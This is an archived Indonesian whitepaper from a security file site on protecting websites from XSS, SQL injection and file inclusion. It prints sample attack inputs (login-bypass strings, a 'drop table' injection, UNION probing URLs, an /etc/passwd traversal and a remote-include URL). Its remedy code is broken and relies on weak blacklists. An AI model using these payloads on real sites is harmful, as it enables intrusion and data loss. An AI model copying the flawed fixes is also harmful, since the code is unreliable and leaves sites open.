exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Protecting Websites From Common Attacks

Protecting Websites From Common Attacks
Posted Aug 11, 2010
Authored by vYc0d

Whitepaper called Protecting Websites From Common Attacks. Written in Indonesian.

tags | paper
SHA-256 | dc89f5f68de7c6fe086c756ae335351b5033ad919f9d9781ff0f656ddac2f33e

Protecting Websites From Common Attacks

Change Mirror Download
------------------------------------------------------/
[-] Title : Protecting website from common attacks
[-] Date : 08-08-2010
[-] Author : vYc0d
[-] Contact : vyc0d@hackermail.com
[-] Web : http://vyc0d.blogspot.com
[-] Language : Indonesian
------------------------------------------------------/


Konten :
[1] Pendahuluan
[2] Cross Site Scripting
[3] SQL Injection
\_ Login Form Bypassing
\_ UNION SQL Injection
[3] File Inclusion
[4] Special Thanks


[1] Pendahuluan

Artikel ini akan berisi tentang empat jenis serangan web umum dan pencegahannya, yang digunakan
di sebagian besar jenis defacement. Lima eksploitasi umum yang saya cantumkan di bawah ini
adalah XSS, SQL injection, RFI dan LFI. Sebagian besar kesalahan terjadi pada pemrograman
yang memungkinkan attacker untuk dapat menyusup ke dalam website.



[2] Cross Site Scripting

Cross Site Scripting adalah jenis celah yang digunakan oleh attacker untuk menyuntikkan kode ke halaman
web yang rentan terhadap serangan ini. Jika sebuah situs rentan terhadap cross site scripting, attacker
kemungkinan besar akan mencoba untuk menyuntikkan situs dengan javascript berbahaya atau mencoba scam pengguna
dengan menciptakan bentuk halaman web yang hampir sama untuk mendapatkan informasi.

Example:
http://www.situs.net/find.php?all=">

*Solusi (javascript) :

function RemoveBad(strTemp) {
strTemp = strTemp.replace(/\<|\>|\"|\'|\%|\;|\(|\)|\&|\+|\-/g,"");
return strTemp;
}



[3] SQL Injection

*\_ Login Form Bypassing

Berikut adalah contoh kode yang dapat kita bisa bypass:

index.html file:
<form action="login.php" method="POST" />
<p>Password: <input type="text" name="pass" /><br />
<input type="submit" value="Authenticate" /></p>
</form>

login.php file:
<?php
// Contoh Kode
$execute = "SELECT * from database WHERE password = '{$_POST['pass'])";
$result = mysql_query($execute);
?>

Kita dapat bypass dengan menggunakan ' or '1=1', dan menjalankan "password = ''or '1=1'';".
Atau attacker dapat juga dapat menghapus database dengan menjalankan "' drop table database; --".

*Solusi :

Menggunakan mysql_real_escape_string

Contoh:
<?php
$badcode = "' OR 1 '";
$badcode = mysql_real_escape_string($badcode);
$message = "SELECT * from database WHERE password = "'$badcode'";
echo "what are doing nobs" . $message . ";
?>


*\_ Union SQL Injection

Union SQL injection adalah ketika pengguna menggunakan perintah UNION. Memeriksa celah dengan menambahkannya
di akhir url "sebuah php?.id=". Jika terdapat error MySQL, situs tersebut kemungkinan besar
besar rentan terhadap UNION SQL Injection. Attacker melanjutkan menggunakan ORDER BY untuk menemukan kolom,
dan pada akhirnya, mereka menggunakan perintah UNION ALL SELECT.

Contoh :
http://www.situs.net/index.php?id=1'
salah satu contoh pesan error:
Warning: mysql_fetch_row(): supplied argument is not a valid MySQL result resource in.....

Setelah muncul pesan error,maka attacker melanjutkan aksinya ;))
http://www.situs.net/index.php?id=1 ORDER BY 1-- <-- No error.
http://www.situs.net/index.php?id=1 ORDER BY 2-- <-- Muncul pesan error. Ini berarti hanya ada satu kolom
http://www.situs.net/index.php?id=-1 UNION SELECT ALL version()-- <-- Memilih semua kolom dan menjalankan
perintah version().

*Solusi :

Tambahkan sesuatu seperti di bawah ini untuk mencegah SQL injection Union:

$bug = "(delete)|(update)|(union)|(insert)|(drop)|(http)|(--)|(/*)|(select)";
$patch = eregi_replace($bug, "", $patch);



[4] File Inclusion

\_ Remote File Inclusion dan Local File Inclusion

Remote File Inclusion adalah sebuah celah dimana situs mengizinkan attacker meng-includ file dari luar server.
Local File Inclusion adalah sebuah celah dalam situs dimana attacker dapat mengakses semua file di dalam server
dengan hanya melalui URL.

Contoh kode yang vulnerable :
<?php
include($_GET['page']);
?>

Beberapa contoh serangan :
http://www.situs.net/page.php?page=../../../../../etc/passwd < contoh LFI
http://www.situs.net/page.php?page=http://www.site.com/evilscript.txt? < contoh RFI

*Solusi :

Validate the input.
$page = $_GET['page'];
$allowed = array('index.php', 'games.php' 'ip.php');
$iplogger = ('ip.php');
if (in_array $page, $pages)) {
include $page {
else
{
include $iplogger
die("IP logged.");
}



[4] Special Thanks

[-] Allah SWT, Muhammad SAW
[-] The big Family of :
[-] M0slem Hax0r - Echo - Indonesian Coder - Jasakom - Indonesian Hackers - Malang Cyber Crew
[-] ManadoCoding - Devilzc0de - Yogyacarderlink - Xcode - Hacker Newbie
[-] Klix ITN Malang - Kolam (Komunitas Linux Arek Malang)
Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    40 Files
  • 13
    Sep 13th
    18 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    21 Files
  • 17
    Sep 17th
    51 Files
  • 18
    Sep 18th
    23 Files
  • 19
    Sep 19th
    48 Files
  • 20
    Sep 20th
    36 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    38 Files
  • 24
    Sep 24th
    65 Files
  • 25
    Sep 25th
    24 Files
  • 26
    Sep 26th
    26 Files
  • 27
    Sep 27th
    34 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close